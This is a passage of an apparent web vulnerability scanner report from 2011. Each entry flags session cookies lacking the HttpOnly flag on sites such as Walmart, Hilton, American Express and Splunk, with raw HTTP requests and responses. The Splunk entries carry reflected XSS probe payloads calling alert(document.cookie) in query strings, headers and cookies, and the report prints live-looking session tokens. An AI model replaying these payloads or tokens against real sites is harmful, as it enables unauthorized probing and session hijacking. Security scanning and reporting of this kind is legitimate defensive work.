Set-Cookie: ASPSESSIONIDQCCTAQAD=PJOEDIPCIHEHAPPCDPMEOBPI; path=/
p3p: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
X-Powered-By: ASP.NET
Date: Sun, 06 Feb 2011 16:16:11 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>About Vibrant</title>
<meta ht
...[SNIP]...

15.160. http://www.vibrantmedia.com/whatisIntelliTXT.asp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.vibrantmedia.com
Path:	/whatisIntelliTXT.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ASPSESSIONIDQADSARBD=DCOFFMCCFPNFLDGDLGJAJMGA; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /whatisIntelliTXT.asp HTTP/1.1
Host: www.vibrantmedia.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.161. http://www.walmart.com/|http:/www.walmart.com/cp/toys/4171|http:/www.walmart.com/cp/Electronics/3944 previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.walmart.com
Path:	/\|http:/www.walmart.com/cp/toys/4171\|http:/www.walmart.com/cp/Electronics/3944

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

WMSessionID=00000005d842416d3fe7c1efb135e29c3feb265b85e294b6_1297008973632_SSL205_10-15-97-59_1297008973632_11.1_N_; Domain=.walmart.com; Path=/
com.wm.visitor=13058082758; Domain=.walmart.com; Expires=Wed, 03-Feb-2021 16:16:13 GMT; Path=/
spcf.backup="|com.wm.visitor:13058082758|"; Version=1; Domain=.walmart.com; Path=/
com.wm.anoncart=130580827581722806; Domain=.walmart.com; Expires=Wed, 03-Feb-2021 16:16:13 GMT; Path=/
spcf.backup="|com.wm.anoncart:130580827581722806|:|com.wm.visitor:13058082758|"; Version=1; Domain=.walmart.com; Path=/
cef.env=PROD+B++H++D++Y+%3Fcat%3D3891+C+; Domain=.walmart.com; Path=/
com.wm.reflector="reflectorid:0000000000000000000000@lastupd:1297008973634@firstcreate:1297008973634"; Version=1; Domain=.walmart.com; Path=/
NSC_xxx.xbmnbsu.dpn-mc=ffffffff090726a445525d5f4f58455e445a4a423660;path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.162. http://www.webnews.de/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.webnews.de
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

WNSESSIONID=d2hn0mot5q2nbudqjtsfao1356; path=/; domain=.webnews.de
WNSESSIONID=acjedtg6k0l1kdsu2mde43md11; path=/; domain=.webnews.de

The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.webnews.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.163. http://www.wechseln.de/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.wechseln.de
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

rs_session=c85c671ecf8776c8ec6ef8de3b42eacb; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.wechseln.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 302 Found
Set-Cookie: rs_session=c85c671ecf8776c8ec6ef8de3b42eacb; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: http://www.wechseln.de/4dbe2d9463a0eee85e2ad2c92c536101/
Content-type: text/html
Content-Length: 0
Connection: close
Date: Sun, 06 Feb 2011 16:16:17 GMT
Server: w4

15.164. http://www.widgetbox.com/widget/bookmarks-kledyde previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.widgetbox.com
Path:	/widget/bookmarks-kledyde

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=B384C80E93F9283766F9CE859A3180E5; Path=/, node=1027; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /widget/bookmarks-kledyde HTTP/1.1
Host: www.widgetbox.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.165. http://www.xerpi.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.xerpi.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

_xerpi3_session_id=fe6ebee29506267afbba15fe0a34d40e; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.xerpi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Date: Sun, 06 Feb 2011 16:16:21 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8l DAV/2 Phusion_Passenger/3.0.2
X-Powered-By:
Cache-Control: no-cache
Set-Cookie: _xerpi3_session_id=fe6ebee29506267afbba15fe0a34d40e; path=/
Location: http://www.xerpi.com/account/login
Content-Length: 100
Status: 302 Found
Connection: close
Content-Type: text/html; charset=utf-8

<html><body>You are being <a href="http://www.xerpi.com/account/login">redirected</a>.</body></html>

15.166. http://www1.hilton.com/en_US/hi/customersupport/site-usage.do previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www1.hilton.com
Path:	/en_US/hi/customersupport/site-usage.do

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=EF159B1B7305A6E6A39111D0417098EA.etc41; Path=/
NSC_qse-qgt=44153d5e3660;expires=Sun, 06-Feb-11 16:27:28 GMT;path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /en_US/hi/customersupport/site-usage.do HTTP/1.1
Host: www1.hilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.167. http://www1.hilton.com/en_US/hi/index.do previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www1.hilton.com
Path:	/en_US/hi/index.do

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=1F075BB232A40B63D890AD8F28FD1512.etc42; Path=/
NSC_qse-qgt=44153d5e3660;expires=Sun, 06-Feb-11 16:27:28 GMT;path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /en_US/hi/index.do HTTP/1.1
Host: www1.hilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.168. http://www201.americanexpress.com/business-credit-cards/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www201.americanexpress.com
Path:	/business-credit-cards/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=0000Ah0TpISgmrtFTlgrEbWUHnl:1115nbtvb;Path=/
SaneID=173.193.214.243-1296944504993151; path=/; expires=Tue, 09-Feb-16 22:21:44 GMT; domain=.americanexpress.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /business-credit-cards/ HTTP/1.1
Host: www201.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.169. http://www201.americanexpress.com/business-credit-cards/business-card-compare/business-travel-rewards-credit-cards/29789 previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www201.americanexpress.com
Path:	/business-credit-cards/business-card-compare/business-travel-rewards-credit-cards/29789

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=0000q3QZbDYOcyvtP0PZminOCss:1115nbtvb;Path=/
SaneID=173.193.214.243-1296944501386119; path=/; expires=Tue, 09-Feb-16 22:21:41 GMT; domain=.americanexpress.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.170. http://www201.americanexpress.com/business-credit-cards/business-credit-cards previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www201.americanexpress.com
Path:	/business-credit-cards/business-credit-cards

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=00001_E4LjccDdbbbphxEOnILV0:1115nbqmn;Path=/
SaneID=173.193.214.243-1296944513423926; path=/; expires=Tue, 09-Feb-16 22:21:53 GMT; domain=.americanexpress.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.171. http://www201.americanexpress.com/business-credit-cards/business-solutions/overview previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www201.americanexpress.com
Path:	/business-credit-cards/business-solutions/overview

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=0000kscO5hdpunXSAOCMFtkSRfr:1115nbqmn;Path=/
SaneID=173.193.214.243-1296944504607994; path=/; expires=Tue, 09-Feb-16 22:21:44 GMT; domain=.americanexpress.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.172. http://www201.americanexpress.com/business-credit-cards/find-business-credit-cards previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www201.americanexpress.com
Path:	/business-credit-cards/find-business-credit-cards

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=0000JTfdlyvElahRUmUBPW_Sr5S:1115nbqmn;Path=/
SaneID=173.193.214.243-1296944495304108; path=/; expires=Tue, 09-Feb-16 22:21:35 GMT; domain=.americanexpress.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.173. http://www201.americanexpress.com/business-credit-cards/see-all-business-credit-cards previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www201.americanexpress.com
Path:	/business-credit-cards/see-all-business-credit-cards

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=0000yq-Xh-WxMu4vUVCexozgN5B:1115nbtvb;Path=/
SaneID=173.193.214.243-1296944502510060; path=/; expires=Tue, 09-Feb-16 22:21:42 GMT; domain=.americanexpress.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.174. http://www201.americanexpress.com/getthecard/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www201.americanexpress.com
Path:	/getthecard/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=0000rksCcDlHmzQipsUe7BzBjnC:10ue6mmd9;Path=/
SaneID=173.193.214.243-1296944487071298; path=/; expires=Tue, 09-Feb-16 22:21:27 GMT; domain=.americanexpress.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /getthecard/ HTTP/1.1
Host: www201.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.175. http://www201.americanexpress.com/getthecard/home previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www201.americanexpress.com
Path:	/getthecard/home

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=0000oFplttRUbELe348jm0hGGKR:10ue6mp18;Path=/
SaneID=173.193.214.243-1296944483932373; path=/; expires=Tue, 09-Feb-16 22:21:23 GMT; domain=.americanexpress.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.176. https://www201.americanexpress.com/MobileWeb/index.jsp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www201.americanexpress.com
Path:	/MobileWeb/index.jsp

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=0001PGzoPxDqqpRWVuPalmTJrf8:11m1380s8;Path=/
SaneID=173.193.214.243-1296944526576342; path=/; expires=Tue, 09-Feb-16 22:22:06 GMT; domain=.americanexpress.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /MobileWeb/index.jsp HTTP/1.1
Host: www201.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.177. https://www209.americanexpress.com/merchant/marketing-data/pages/home previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www209.americanexpress.com
Path:	/merchant/marketing-data/pages/home

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

mertkit_JSESSIONID=0000HmJMpZYY_G5msSiTYEScCWJ:15bvkpc1o; Path=/
BIGipServerwww260-443=252447242.47873.0000; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /merchant/marketing-data/pages/home HTTP/1.1
Host: www209.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.178. https://www209.americanexpress.com/merchant/marketing-data/pages/marketingprograms previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www209.americanexpress.com
Path:	/merchant/marketing-data/pages/marketingprograms

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

mertkit_JSESSIONID=0000a-qFEyjWmRA77-ia4auLoKF:15bvkorqu; Path=/
BIGipServerwww260-443=873204234.47873.0000; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.179. https://www209.americanexpress.com/merchant/marketing-data/pages/reportsandtrends previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www209.americanexpress.com
Path:	/merchant/marketing-data/pages/reportsandtrends

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

mertkit_JSESSIONID=000014rUJ6zb3offa-6mrx3LyBv:15bvkorqu; Path=/
BIGipServerwww260-443=873204234.47873.0000; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.180. http://www212.americanexpress.com/dsmlive/dsm/dom/us/en/legaldisclosures/websiterulesandregulations.do previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/en/legaldisclosures/websiterulesandregulations.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

dsmLive_JSESSIONID=0000nxFV_sTqmJW7c4-jAArCK9e:14qpqp2b7; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /dsmlive/dsm/dom/us/en/legaldisclosures/websiterulesandregulations.do HTTP/1.1
Host: www212.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:28 GMT
Server: IBM_HTTP_Server
Set-Cookie: dsmLive_JSESSIONID=0000nxFV_sTqmJW7c4-jAArCK9e:14qpqp2b7; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 32770

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>
<title>404 Error Page</title><META name="keywords" content="404 Error Page"><META name="description" content="404
...[SNIP]...

15.181. https://www212.americanexpress.com/dsmlive/dsm/OnlineSelf-Services/ConsumerLanding.do previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/OnlineSelf-Services/ConsumerLanding.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

dsmLive_JSESSIONID=0000sm8JxdH8S2k1shfy-P8NSQw:14qpqp2b7; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.182. https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/feefreeservices/pages/globalassist_allccsg_shareddetails.do previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/en/feefreeservices/pages/globalassist_allccsg_shareddetails.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

dsmLive_JSESSIONID=0000yMXBfzRiROj5OAfOa5QNbix:14qpqp8bv; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.183. https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/fraudprotectioncenter/fraudprotectioncenter_homepage.do previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/en/fraudprotectioncenter/fraudprotectioncenter_homepage.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

dsmLive_JSESSIONID=000090KnSa_PToPYn1Y9A6kHv8g:14qpqp8bv; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.184. https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/pass_markup_homepage.do previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/pass_markup_homepage.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

dsmLive_JSESSIONID=00000ddg062iZbtkKQLHV7glhsR:14qpqp8bv; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.185. https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/travelerschequesandforeigncurrency.do previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/travelerschequesandforeigncurrency.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

dsmLive_JSESSIONID=00000vjRd_mY3YpSpW5gdtG8i9S:14qpqp8bv; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.186. https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/privacystatement/internetprivacystatement.do previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/en/privacystatement/internetprivacystatement.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

dsmLive_JSESSIONID=0000U01HD7ILpMUGqR_UyygusU9:14qpqp2b7; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.187. https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/smallbusiness/businesstravel/businesstravel.do previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/en/smallbusiness/businesstravel/businesstravel.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

dsmLive_JSESSIONID=00002CcYYbt_TpWnMDtRNICsW6f:14qpqp2b7; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.188. https://www212.americanexpress.com/dsmlive/dsm/dom/us/merchants/nonsecure/acceptthecard.do previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/merchants/nonsecure/acceptthecard.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

dsmLive_JSESSIONID=0000ah4vhZojFRvbev9f5GE_A4A:14qpqp2b7; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.189. https://www212.americanexpress.com/dsmlive/dsm/dom/us/merchants/nonsecure/manageyouraccount.do previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/merchants/nonsecure/manageyouraccount.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

dsmLive_JSESSIONID=0000PTe6zKm28D31BsFXcYHD9d8:14qpqp2b7; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.190. https://www212.americanexpress.com/dsmlive/dsm/int/contactus/personalsavings.do previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/int/contactus/personalsavings.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

dsmLive_JSESSIONID=0000fxhwIOrKDi2q99FOvTDSEpr:14qpqp2b7; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.191. https://www212.americanexpress.com/dsmlive/dsm/int/fxip/fxinternationalpayments.do previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/int/fxip/fxinternationalpayments.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

dsmLive_JSESSIONID=0000gNZ28gvXI_sQMcByieAazU2:14qpqp2b7; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.192. https://www212.americanexpress.com/dsmlive/dsm/int/us/en/cmaproductspage.do previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/int/us/en/cmaproductspage.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

dsmLive_JSESSIONID=00005KkxZLI1O88IVa_7J24YNHg:14qpqp2b7; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.193. https://www213.americanexpress.com/PowerLabsWeb/un/landingpage.htm previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www213.americanexpress.com
Path:	/PowerLabsWeb/un/landingpage.htm

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=00000YZCQTdcKvGRMYP-Rq79eWY:129nma7r7;Path=/
SaneID=173.193.214.243-1296944613478399; path=/; expires=Tue, 09-Feb-16 22:23:33 GMT; domain=.americanexpress.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /PowerLabsWeb/un/landingpage.htm HTTP/1.1
Host: www213.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.194. https://www257.americanexpress.com/openhome/smallbusiness.do previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www257.americanexpress.com
Path:	/openhome/smallbusiness.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=0000uChEcdO9k6KqbMgMdp5Ow2Q:14t0oj3g0; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /openhome/smallbusiness.do HTTP/1.1
Host: www257.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.195. https://www295.americanexpress.com/entertainmentaccess/home.do previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www295.americanexpress.com
Path:	/entertainmentaccess/home.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ehub_JSESSIONID=0000NpczdATYAiPRlcF0VGZHggr:1563unio9; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /entertainmentaccess/home.do HTTP/1.1
Host: www295.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.196. https://www295.americanexpress.com/premium/credit-card-travel-insurance/home.do previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www295.americanexpress.com
Path:	/premium/credit-card-travel-insurance/home.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

fsea_JSESSIONID=00008GQpyAcWkVMiczzEQLBcHuM:156jli7te; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.197. https://www295.americanexpress.com/premium/credit-report-monitoring/enquiry.do previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www295.americanexpress.com
Path:	/premium/credit-report-monitoring/enquiry.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

fsea_JSESSIONID=0000ax6luTP71CaQfFifYiUvIPV:156jli4a5; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.198. http://zh-hans.splunk.com/cave/narc.php previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://zh-hans.splunk.com
Path:	/cave/narc.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=h4s6ert0qi7j4rpn3nuck010f0; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /cave/narc.php?u=/?a66ee--alert(document.cookie)025dd4411ca=1&r=-&a=&cid= HTTP/1.1
Host: zh-hans.splunk.com
Proxy-Connection: keep-alive
Referer: http://zh-hans.splunk.com/?a66ee--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E025dd4411ca=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __kts=1296942984820,http%3A%2F%2Fwww.splunk.com%2F,http%3A%2F%2Fsplunkbase.splunk.com%2F%3F1ffc5%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E46cc332d1dc%3D1; __ktt=e7f-7c3a-23d7-b39612df7d36e75; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296947359; Apache=173.193.214.243.1296947376244858; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0; Enabled=true

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:09:47 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Set-Cookie: PHPSESSID=h4s6ert0qi7j4rpn3nuck010f0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 0

15.199. http://zh-hant.splunk.com/cave/narc.php previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://zh-hant.splunk.com
Path:	/cave/narc.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=7sg72sp5qujgp16nj7smqcsl13; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /cave/narc.php?u=/?fa491--alert(document.cookie)4e7b580ded4=1&r=-&a=&cid= HTTP/1.1
Host: zh-hant.splunk.com
Proxy-Connection: keep-alive
Referer: http://zh-hant.splunk.com/?fa491--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E4e7b580ded4=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
